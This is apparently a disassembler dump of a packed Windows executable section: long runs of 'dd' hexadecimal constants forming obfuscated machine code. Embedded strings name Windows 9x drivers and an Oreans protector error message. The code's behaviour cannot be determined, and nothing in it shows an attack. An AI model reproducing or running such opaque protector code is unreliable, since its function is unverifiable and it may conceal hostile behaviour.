		dd 66D8941Dh, 5EE649BEh, 7F3BA7B8h, 0CAF0817Dh,	0F7D7F22h
		dd 18Ch, 32FFF900h, 6EAFF381h, 8159563Dh, 0D2405BF7h, 0BAF18146h
		dd 0E810E259h, 7, 0F4757FF2h, 0FDF0B9Fh, 815FF2B7h, 0BB8FA8E9h
		dd 92EF811Eh, 814A7FD1h, 3DEEDFF1h, 7EBF664Ch, 28F51D0h
		dd 0EA83DA8Bh, 604A4A02h, 0F00EBB66h, 0E9CCE981h, 486174AAh
		dd 30850Fh, 12E90000h, 0A4000000h, 95319026h, 1391B382h
		dd 0F33B1E2Ch, 0DD5BF4D1h, 27E910h, 8F9C0000h, 7A0DC539h
		dd 3C8B8F9Eh, 0A456A54Ch, 0A9147601h, 8B66FA17h, 0FF70E9F9h
		dd 71E7FFFFh, 376B748Ah, 4ABBB890h, 4934EBCFh, 474D5346h
		dd 56202052h, 2020444Bh, 56202020h, 20204D4Dh, 56202020h
		dd 334E4957h, 56202032h, 444C4458h, 202052h, 2 dup(0)
		dd 0E9000000h, 6AEh, 850F60FCh,	19h, 14E9h, 7846EB00h
		dd 506E1006h, 50B568A1h, 0AC6B7BCEh, 3A4EAE01h,	6A85C7FAh
		dd 60671h, 0FC000000h, 6AC68Bh,	3E855h,	5D200000h, 6C895DC3h
		dd 44810424h, 190424h, 55450000h, 0B51D78C3h, 0E9DF2BF3h
		dd 0Bh,	3C84E733h, 0EFB1AB37h, 0F9D3B6E1h, 0E9D8B70Fh
		dd 5, 0F2308E5Fh, 10E8C1D5h, 2AC18160h,	614746A2h, 8C8C166h
		dd 0FE9h, 4DBAB500h, 485EA2C2h,	7809ADFCh, 0F3992E73h
		dd 0B8A0Fh, 0F600000h, 88h, 0FAC78000h,	6E858961h, 6A060671h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 16042444h
		dd 47000000h, 85EC357h,	0C38160C5h, 43F2C6FAh, 0EEC28157h
		dd 5F67FEFCh, 14E961h, 94230000h, 1317C8B6h, 80BFA89Ah
		dd 9CDBBEDAh, 4062DC1Bh, 0C166BA7Ch, 816008CBh,	0E2AA1FD0h
		dd 0C7B70F03h, 40FB8361h, 1F850Fh, 8DF50000h, 67142BDh
		dd 1850F06h, 0F5000000h, 15EE9h, 6820F00h, 60000000h, 59575B56h
		dd 0DFB8361h, 4E850Fh, 8B0F0000h, 0Ah, 0E6816660h, 0BF0FDDFFh
		dd 5E961FBh, 6E000000h,	0E5475C20h, 714ABD8Dh, 0F9F80606h
		dd 122E9h, 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h
		dd 1D04h, 0C3524200h, 0AAE19B91h, 0E4415BC8h, 0F8F93C4Dh
		dd 0F01FB83h, 5385h, 0BD8DF800h, 6067152h, 13E9h, 0FB716600h
		dd 0B1F5D3BAh, 98E9C431h, 0D7245D9Eh, 3A471BC5h, 0CEE9h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1604h
		dd 0C3504000h, 0FFA2B50h, 183h,	880FFC00h, 4, 61CE8B60h
		dd 0F2AFB83h, 3D85h, 10E900h, 46ED0000h, 7D1FED9Ah, 0F8677EE7h
		dd 79A88463h, 0BD8D4F11h, 606715Ah, 0B870Fh, 0BE600000h
		dd 495F3990h, 6018BF66h, 0BF0F6061h, 88E881FEh,	612A1995h
		dd 5AE9h, 0FB83F900h, 7850F27h,	6A000003h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1B042444h, 40000000h, 0E14FC350h
		dd 0B6989116h, 0E9609C34h, 0Dh,	0FEF81CCBh, 0C7707840h
		dd 0C680FB67h, 38A0F26h, 0F000000h, 8D61F3BFh, 67162BDh
		dd 8B666006h, 0A305BAF8h, 896161D2h, 67172BDh, 5FBA6006h
		dd 8B772B63h, 0F86061FAh, 0C88C6661h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Bh, 98C35040h, 815E8D76h, 60E771BAh
		dd 6C5152BEh, 94D78054h, 0C880F61h, 0F000000h, 682h, 800F00h
		dd 24000000h, 55006A03h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1804h, 0C3554500h, 3478F440h, 8B0FF9EEh, 7, 1800Fh
		dd 0AF50000h, 0BC850FC0h, 6A000001h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 96DC351h
		dd 36879838h, 0E3DD14DAh, 1830Fh, 8DFC0000h, 67703B5h
		dd 6E906h, 0BB4E0000h, 0F810A070h, 0F890Fh, 0AE90000h
		dd 1B000000h, 0BFB72977h, 0D9968BD9h, 96858B2Ch, 6A060677h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1A042444h
		dd 46000000h, 4DFC356h,	0E62566BAh, 168F0F0Ch, 60000000h
		dd 0AE8h, 0DE9EFB00h, 8365E2A2h, 5990BD2Fh, 2F4FBF66h
		dd 8810F61h, 0F000000h,	280h, 50616000h, 3850F60h, 66000000h
		dd 0F60DF8Bh, 87h, 89616100h, 60FC2414h, 0B5F9BF0Fh, 10F61E3h
		dd 60FE244Ch, 0E0F25FBEh, 5A61F527h, 24C283F5h,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 78C35747h, 0E9FC858Ah
		dd 5, 6B41F8B5h, 728966A2h, 4FBF60FCh, 0E97F1DABh, 0Ah
		dd 28637CD7h, 151CD69Ch, 0C161FCBEh, 6A10CEh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 140424h, 55450000h, 89669BC3h
		dd 6A0272h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h
		dd 53430000h, 87B153C3h, 4CB8EB49h, 6A04CD41h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h
		dd 7FB7C355h, 0DE860h, 9C770000h, 829ED717h, 0B4ADC9AEh
		dd 0E9C29B5Ch, 0Ah, 6C75E7CAh, 0EFD23E00h, 53596978h, 615B6160h
		dd 7AE9h, 0C8F0F00h, 0F000000h,	687h, 860F00h, 8B000000h
		dd 6779685h, 81666006h,	0F8591F0h, 28Eh, 61616000h, 81E58060h
		dd 0A6FEBF60h, 816648C9h, 614B3AC6h, 3B58D61h, 6A060677h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 17042444h
		dd 41000000h, 70ADC351h, 8DFC5BE2h, 64ED785h, 80F86006h
		dd 0FC61F4E5h, 8B0FD0FFh, 7, 18C0Fh, 89F50000h,	6716A85h
		dd 0E961F806h, 13h, 0B2F629A4h,	33346BC3h, 0D95CD2CDh
		dd 1FF2827Ah, 0F863B828h, 716A858Bh, 0E8600606h, 0Ch, 0C8C40A36h
		dd 8C30A825h, 0AC2504E0h, 0D6F68166h, 0F8535B6Fh, 6AC3615Fh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 15042444h
		dd 43000000h, 0AC22C353h, 56006A60h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1704h,	0C3564600h, 0FDDD1685h
		dd 7796BD83h, 0F000606h, 3385h,	55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 85C724D7h
		dd 6067796h, 1013Fh, 7E9h, 8687A800h, 790B91FBh, 2CE9h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1A04h
		dd 0C3514100h, 3F560EABh, 0E95A6850h, 5, 0F3E7F8ABh, 20CDDDh
		dd 0B000000h, 8D3774C0h, 0BD8B0C70h, 6067172h, 8B9h, 2275A600h
		dd 8BFA7549h, 9D8B3048h, 606716Eh, 7F34583Bh, 6BD38B15h
		dd 0CA0304D2h, 8589018Bh, 606716Ah, 8B04EBh, 8B61C5EBh
		dd 6716A85h, 6660CF06h,	0B2674EB9h, 6A61A7h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 150424h, 57470000h, 0F4885C3h
		dd 198Dh, 14E900h, 0D0120000h, 283044D4h, 0EF2559C3h, 906E5095h
		dd 0CDB77789h, 0FF5932Eh, 183h,	0C08BFC00h, 400E9h, 0
		dd 6E413300h, 746E6920h, 616E7265h, 7865206Ch, 74706563h
		dd 206E6F69h, 7563636Fh, 20646572h, 64644128h, 73736572h
		dd 7830203Ah, 0A297825h, 656C500Dh, 2C657361h, 6E6F6320h
		dd 74636174h, 70757320h, 74726F70h, 65726F40h, 2E736E61h
		dd 2E6D6F63h, 61685420h, 79206B6Eh, 21756Fh, 0E4h dup(0)
		dd 5600h, 4500h, 0
		dd 116AE900h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 150424h, 57470000h, 89A89AC3h, 315A985h, 9D858B06h
		dd 6A06031Fh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 14042444h, 45000000h, 2931C355h, 30865BDh, 24443906h
		dd 58850F04h, 0F000000h, 681h, 759D2900h, 83060303h, 3207DBDh
		dd 840F0006h, 3Fh, 0F5D9501h, 858D0603h, 60338E0h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0B6C35747h, 0FE0FF9Fh
		dd 0E8Ch, 0BD296000h, 603189Dh,	0C0C1D781h, 8B612678h
		dd 3312185h, 53006A06h,	3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1704h, 0C3534300h, 0FA300698h, 244439FCh, 72850F04h
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1C042444h, 40000000h, 0B56BC350h, 86D5DAF1h,	604CFCD9h
		dd 830F60h, 0E8000000h,	0Ah, 9160C899h,	2F00BA2h, 615F9FF2h
		dd 2C81BD8Bh, 0C7610603h, 67C2C85h, 106h, 53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h
		dd 3197E74Ch, 32AC19Dh,	95296006h, 6030729h, 2AE9h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1504h, 0C3514100h
		dd 2960B9E5h, 32AD595h,	61FC06h, 0B8000000h, 1,	7DB68587h
		dd 0C00B0606h, 0B5FFF675h, 6031BA1h, 7C24858Fh,	206A0606h
		dd 95FFFF6Ah, 6031369h,	22A9BD83h, 74000603h, 0FF006A08h
		dd 323A595h, 0C1BD8306h, 106030Ch, 80680D74h, 6A000000h
		dd 6995FFFFh, 6A060313h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 486EC351h, 0D5B589ECh
		dd 8906030Bh, 3167585h,	0B806h,	6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 150424h, 51410000h, 8B7B59C3h
		dd 89282454h, 303719Dh,	0BD858906h, 89060302h, 3245985h
		dd 3CBE06h, 3F80000h, 31242474h, 30C8D9Dh, 6AAD6606h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h
		dd 3D68C357h, 6447F591h, 44038109h, 830F2424h, 1, 9E990F9h
		dd 58000000h, 334AA798h, 6046A30Bh, 0E8F0F50h, 50000000h
		dd 0F616052h, 8B0F31h, 5A000000h, 8BF99058h, 89607840h
		dd 30CF1BDh, 0C58D8B06h, 6106031Ah, 28F0F60h, 8B000000h
		dd 0FE9F3h, 0F1C70000h,	31BC2554h, 6212D169h, 0A73FC3E6h
		dd 0BD83618Bh, 6067C2Ch, 17850F00h, 89000001h, 332C5B5h
		dd 52505006h, 2830Fh, 61600000h, 5E9310Fh, 80000000h, 0E6052AE5h
		dd 489585Ah, 52006A24h,	3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1D04h, 0C3524200h, 0C6767340h, 4CF741CCh, 840F6496h
		dd 15h,	10E9h, 0F99F7200h, 894B727Fh, 0ABF5ED68h, 0C2B3C5FFh
		dd 659D8998h, 8B060322h, 6A2C2444h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 5755C357h
		dd 0CF79CEBEh, 60558855h, 67BB6660h, 45EE8013h,	29958B61h
		dd 6106030Bh, 0BB666050h, 8961BC6Eh, 0BD012404h, 6030F8Dh
		dd 49F4858Dh, 6A0606h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 190424h, 57470000h, 785661C3h, 0E94054B6h, 0Fh, 2FFBA440h
		dd 0AE71E3C5h, 0CE88687Eh, 0FFBB9BA3h, 56006AD0h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h
		dd 0BB337A20h, 89FC4627h, 31AF9B5h, 4403FC06h, 6A2824h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 0E656D7C3h, 7E97Fh, 0D0870000h, 8AEF54F3h, 18408BE2h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 47C35747h
		dd 0D0F7A54Fh, 8DBC41C3h, 1C45BD89h, 6A400603h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
		dd 0DFDDC353h, 4B518213h, 28858926h, 6006067Ch,	18D18D29h
		dd 81660603h, 612CF8C0h, 50006A58h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1404h, 0C3504000h, 5585894Fh, 0F060306h
		dd 198Dh, 14E900h, 9FDB0000h, 12060AA8h, 0C0F0B9F1h, 0B12EBBCCh
		dd 0A7FB5C94h, 708B2C37h, 56006A78h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1804h,	0C3564600h, 71C17F1Eh
		dd 49B5895Ch, 0E9060320h, 0Ch, 0E773DF7Dh, 321EA544h, 8C8310Dh
		dd 601CC683h, 1AFD9D29h, 8D8B0603h, 6030F69h, 6A9661h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
		dd 0BE6685C3h, 0C810FCFh, 0F000000h, 68Dh, 0D5958900h
		dd 8106032Ch, 24247Ch, 0F100000h, 0EF87h, 0A9950900h, 50060309h
		dd 0E8F98B60h, 10h, 3FF30996h, 84F30017h, 0DE423FB8h, 12A3F7BEh
		dd 9E8h, 0C8E10900h, 0D5E69C58h, 5F5B3F3Ah, 24048961h
		dd 10E9h, 89967B00h, 71C3C0CDh,	9ECBB28Eh, 0E61B9E2Eh
		dd 24448B2Ah, 53006A28h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1A04h, 0C3534300h, 48BD17D2h, 0FCAE0395h, 11E950h, 0FEE40000h
		dd 0DE99A394h, 6221AC0Bh, 3FA9AC53h, 89E25C0Dh,	6A2404h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 0E4E801C3h, 0DE9h, 9063A400h, 0AB4B84D4h, 799797C5h
		dd 9589AF96h, 6030989h,	49F4858Dh, 6A0606h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 140424h, 50400000h, 8D318EC3h
		dd 6031B09h, 8589D0FFh,	60312D9h, 1958996h, 3060318h, 6A242474h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1C042444h
		dd 42000000h, 0C308C352h, 2A5B1BF9h, 0F82DCBBh,	0B80h
		dd 0CB816000h, 5C47E6Dh, 61F6B70Fh, 649BD8Dh, 85890603h
		dd 6032C2Dh, 0CE9F8ADh,	5B000000h, 28C75B16h, 0C989770h
		dd 8144C63Eh, 24247Ch, 0F100000h, 10287h, 52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h
		dd 6111B302h, 6AEFB476h, 0BE9h,	31C26200h, 4EBED7B7h, 0C8321B8Ah
		dd 0DE990h, 4B2D0000h, 116F1832h, 8833065h, 50CCB770h
		dd 8B5E5760h, 6A9061FBh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 16042444h, 45000000h, 1053C355h, 7820FF5h
		dd 0F000000h, 18Ch, 448BF500h, 8E92824h, 0C5000000h, 93845CAFh
		dd 50D124E7h, 3FB86660h, 10E82Ch, 1D970000h, 344BAFCAh
		dd 18D14FD3h, 364DE6C4h, 880FEB80h, 0
		dd 4896159h, 53006A24h,	3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1604h, 0C3534300h, 0FB9962Bh, 880h, 2870F00h, 60000000h
		dd 0F4858D61h, 29060649h, 32F7185h, 0E9D0FF06h,	13h, 65B31643h
		dd 0E5D0494Ah, 3802067Ah, 0A43070ABh, 38E9E2Bh,	6A242444h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 15042444h
		dd 43000000h, 1242C353h, 8E9h, 7684D100h, 0A21901D1h, 8B60AB03h
		dd 3134D85h, 0FE906h, 5E440000h, 0B42AEA3Ah, 4A26063h
		dd 0B576F0DFh, 0FA81611Eh, 10000h, 7CE820Fh, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 7A235C3h, 95891C32h,	60326CDh, 0D5BD8DF8h, 0FC060308h
		dd 7C81F9ADh, 2424h, 870F1000h,	109h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ch, 85C35343h, 96682C65h, 0F5C3A448h
		dd 50525090h, 820F52h, 0F000000h, 870F31h, 5A000000h, 0E9310F58h
		dd 0Dh,	9ABF6215h, 3CFEBCBCh, 3C6C7171h, 50585A5Fh, 118F0Fh
		dd 0CE90000h, 68000000h, 0FAC6FCCBh, 0B01AF848h, 90D4A2D0h
		dd 1890Fh, 8BF50000h, 6A282444h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 19042444h, 42000000h, 6E61C352h, 37349FD7h
		dd 1845BD89h, 50500603h, 10E952h, 0D4E0000h, 45ABCBF5h
		dd 382275A5h, 4962CCBh,	310FCF03h, 6800Fh, 8A0F0000h, 0
		dd 489585Ah, 39B58924h,	8D060330h, 649F485h, 5953106h
		dd 0FF06032Dh, 57006AD0h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1A04h, 0C3574700h, 37C50BBDh, 608BD7BAh
		dd 21218D29h, 820F0603h, 0
		dd 24440361h, 0DE924h, 1B190000h, 556E8FBBh, 6E5AA921h
		dd 904BC8BAh, 0DE9h, 0FE09EB00h, 3A90A9E7h, 9D0F572Ch
		dd 0F503CC3h, 0C89h, 68D0F00h, 50000000h, 5A310F52h, 6A9058h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
		dd 0B53D64C3h, 4D852993h, 31060314h, 315D985h, 2960AB06h
		dd 3265D9Dh, 0B5295006h, 6031881h, 0BD8D615Ah, 6030B99h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 0D0C35040h
		dd 0A0988BFBh, 8B60AD68h, 3298DBDh, 10E806h, 8AE10000h
		dd 0DE831E44h, 202A1E4Dh, 0F1017938h, 0B5295B4Eh, 603215Dh
		dd 0B531615Fh, 6030B69h, 28247C81h, 10000000h, 124870Fh
		dd 9D890000h, 6032281h,	13E950h, 63800000h, 0E984824Ch
		dd 42768758h, 94BA222Fh, 0BC9BC6CFh, 2404892Fh,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 9EC35545h, 0BF0F603Ah
		dd 448B61C0h, 6A2C24h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1C0424h, 53430000h, 0DDA5DDC3h, 0A268488Ah, 29F5E4BCh
		dd 32CE195h, 840F9006h,	0Ch, 6880Fh, 820F0000h,	0
		dd 6E950h, 0DFFE0000h, 3FE8728Ah, 8840F90h, 0F000000h
		dd 289h, 8D616000h, 649F485h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 0DA795305h
		dd 3B56E24Dh, 0B9958960h, 0E906032Eh, 0Dh, 51419E34h, 8F2EB188h
		dd 0F6F79Bh, 0D0FF6158h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 1Ch, 9CC35141h, 28F70DF0h,	2A34D4C0h, 2529BD89h
		dd 0FE90603h, 0C6000000h, 1F2133E8h, 39654041h,	341B3413h
		dd 4403E063h, 6A2824h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1A0424h, 56460000h, 0EB5FC3C3h, 10067846h, 9E9h, 1DDD200h
		dd 39C0A36Dh, 85293120h, 60317A9h, 53006AABh, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 8DFF5E40h
		dd 6067C28h, 7C28BD83h,	75000606h, 8DC0330Ah, 68B6AB5h
		dd 56E6FF06h, 247C81ADh, 28h, 500E7710h, 2C24448Bh, 0F4858D50h
		dd 0FF060649h, 244403D0h, 0DF8B9728h, 7C24858Ah, 0C0840606h
		dd 73A0474h, 32574C75h,	0FD75AEC0h, 52FB2B5Eh, 49C933FCh
		dd 0C033D18Bh, 32ACDB33h, 8ACD8AC1h, 0B6D68AEAh, 0EBD16608h
		dd 73D8D166h, 41356609h, 0F3816650h, 0CEFE5449h, 0C833EB75h
		dd 754FD333h, 0F7D2F7D5h, 0C1C28BD1h, 8B6610C0h, 0D03B5AC1h
		dd 835E0F74h, 85FF04C6h, 60302BDh, 0FFFF5DE9h, 860F5EFFh
		dd 1, 51006AF5h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1A04h, 0C3514100h, 0DE7CC47Eh, 29F4A230h, 30E598Dh
		dd 6810F06h, 89000000h,	30755B5h, 0BD858B06h, 60060302h
		dd 5880Fh, 14BA0000h, 60507560h, 0CDD9D8Bh, 13E90603h
		dd 0AB000000h, 0C9D30E9Eh, 0A8F896D8h, 0B8315DADh, 8D51ECA2h
		dd 6161A67Fh, 6AE0D1h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 150424h, 50400000h, 33745C3h, 30B9985h, 128A0F06h, 0E9000000h
		dd 0Dh,	0B651AA7h, 4082700Dh, 70E691DCh, 6860F25h, 89000000h
		dd 3007D95h, 0BE06h, 8B0F0000h,	1, 6A96F8h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 160424h, 57470000h, 3D39D7C3h
		dd 10E9h, 0BF30F100h, 99CF0D58h, 3692F422h, 603FA6FFh
		dd 6AAD66EEh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 15042444h, 42000000h, 0E812C352h, 0E870Fh, 1600000h
		dd 32D318Dh, 0EDD38106h, 61187AD6h, 6A02E0C1h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h
		dd 3BDC352h, 3064985h, 57006A06h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1D04h, 0C3574700h, 258D47F4h, 0C19DD59Bh
		dd 8B6032E7h, 3263985h,	218D0306h, 6106032Ch, 0BE996h
		dd 0F4C40000h, 92EEE48Ch, 97FACF18h, 88E0F22h, 0F000000h
		dd 284h, 0AD616000h, 19819D89h,	7C810603h, 2424h, 870F1000h
		dd 135h, 666050FCh, 0D9BFFA8Bh,	611E1D2Fh, 6A240489h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
		dd 6070C355h, 8B81F280h, 448B61D6h, 90F92824h, 810F5250h
		dd 6, 310F5250h, 310F585Ah, 6880Fh, 52500000h, 585A310Fh
		dd 6050585Ah, 8BF88B66h, 6A9061D8h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 6096C351h
		dd 12E99589h, 85890603h, 60325DDh, 88E0F61h, 60000000h
		dd 80F98B66h, 0E96197CDh, 0Bh, 0C03821E2h, 5D704EC4h, 8D796B96h
		dd 649F485h, 52006A06h,	3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1904h, 0C3524200h, 7303488Bh, 840F484Bh, 9, 820FFC60h
		dd 0
		dd 13E961h, 19A40000h, 89E6C86Fh, 0CE1D73FDh, 854C9C5Eh
		dd 702E9899h, 6AD0FF7Dh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 19042444h, 47000000h, 152BC357h, 0FBB08BF3h
		dd 0EE960h, 1E5C0000h, 1240982Bh, 3EA524BBh, 407F973Dh
		dd 2860Fh, 0FE8A0000h, 24440361h, 71B58924h, 89060325h
		dd 601C2444h, 9E9h, 0A5825F00h,	12ECB50Ch, 0BF0F5F8Fh
		dd 85C661C1h, 6031BA1h,	0B685C700h, 6067Dh, 0C7000000h
		dd 67C2C85h, 6,	56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1704h, 0C3564600h, 3334212h, 0ED9D89F5h
		dd 6106032Eh, 2F0D9D89h, 8C20603h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1904h,	0C3564600h, 35D583ABh
		dd 11E98FE9h, 0CA000000h, 0BF395B8h, 1299DFE3h,	0E5690D7Ah
		dd 13657289h, 649858Bh,	9E90603h, 0F4000000h, 3B2ADB5Ch
		dd 5A1B72AFh, 0BD31604Ah, 6030FA9h, 201D9589h, 6B610603h
		dd 6A04D2h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
		dd 55450000h, 0F6094C3h, 86h, 1390B900h, 3610351h, 56006AC2h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1604h, 0C3564600h
		dd 964A9477h, 9531ADF8h, 60322F5h, 24247C81h, 10000000h
		dd 0F2870Fh, 890F0000h,	0Ch, 6800Fh, 0B5090000h, 6032149h
		dd 0F525050h, 684h, 860F00h, 0F000000h,	5A616031h, 24048958h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 52C35646h
		dd 620EBF36h, 9F43ECAh,	320B1B5h, 55B50906h, 8B060313h
		dd 0F8282444h, 0FE950h,	63470000h, 89F8AD45h, 4EED632Fh
		dd 0A024983Fh, 24048984h, 0D3816660h, 7E9AE8Eh,	0BE000000h
		dd 33DB7313h, 0E961D74Ah, 13h, 5DF2C82Bh, 0F0661F10h, 0CEF181D7h
		dd 793B4C0Ah, 8D111CB2h, 649F485h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1704h,	0C3524200h, 6B1BA9B0h
		dd 2275B531h, 0FFFC0603h, 56006AD0h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1504h,	0C3564600h, 953170D1h
		dd 6030ABDh, 0FFFDE0E9h, 57006AFFh, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1704h, 0C3574700h, 32B72665h, 9100858Dh
		dd 6A0606h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h
		dd 55450000h, 0F58DC6C3h, 8E950h, 72CD0000h, 55BF63E1h
		dd 4895438h, 0F5BD0924h, 64060326h, 35FFh, 0B5290000h
		dd 6031741h, 0E924048Bh, 0Ch, 0DF445105h, 0C7E93D30h, 0E7F65D6h
		dd 1C298589h, 0B5310603h, 60316EDh, 1B8B0Fh, 8A0F0000h
		dd 15h,	10E9h, 20432000h, 4992795Bh, 6FEC608h, 7C3611CEh
		dd 258964D0h, 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 0ECC35040h
		dd 2F619D89h, 95290603h, 6030FE1h, 8F1C858Dh, 0E8600606h
		dd 12h,	4EB9F724h, 389AC313h, 19350513h, 981277FEh, 5FFC2C81h
		dd 48C0Fh, 0B9660000h, 0E961BAF7h, 13h,	0BD568C5Eh, 1BAA52F1h
		dd 0CE02F412h, 3374D2D5h, 8964B98Dh, 6A0160h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 170424h, 53430000h, 0ECFEECC3h
		dd 0DE9F58Dh, 0E8000000h, 90EF3AA5h, 0E384ACC0h, 5681E2E6h
		dd 259E9h, 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h
		dd 1404h, 0C3534300h, 95BD29CFh, 0E9060329h, 13h, 6A63366Eh
		dd 0E3BAAB6Ah, 0F6BECF7Ch, 33D37869h, 8B7B5622h, 0E8DBh
		dd 815D0000h, 68F15EDh,	0FF9CBC06h, 0BD830012h,	6030CC1h
		dd 8B187400h, 323ED85h,	0C606h,	2991858Bh, 0C60603h, 7995FF00h
		dd 60060307h, 7830B5FFh, 858D0606h, 6067834h, 2C858D50h
		dd 5006067Ah, 25E195FFh, 0C4830603h, 0B589610Ch, 603009Dh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0D2C35242h
		dd 2A1CBD03h, 8D293356h, 6031E01h, 7A2CB58Dh, 6A0606h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
		dd 0D71302C3h, 89F0C5EAh, 309A58Dh, 25B58906h, 6006031Ah
		dd 66F98B66h, 8D61FE8Bh, 300B5BDh, 0DE906h, 516A0000h
		dd 0FB4F9DE3h, 0B3802EE8h, 80A3DAAFh, 840F003Eh, 88h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 74C35343h, 8C0F238Bh
		dd 0Eh,	318D3160h, 89060314h, 3164995h,	0A4F56106h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0B9C35545h, 0C18A6046h
		dd 5AB1DA81h, 1613B63h,	302C19Dh, 0FF91E906h, 6AFFFFh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 9D42CCC3h, 0FC8DF298h, 0BD09C02Bh, 60323BDh,	0E1BD09AAh
		dd 0B8060307h, 7, 11E9h, 4C1BEC00h, 4EBF76FAh, 1BA74F79h
		dd 2550D279h, 85C7BFA0h, 60314CDh, 1, 0EA2ABA60h, 850F3ADEh
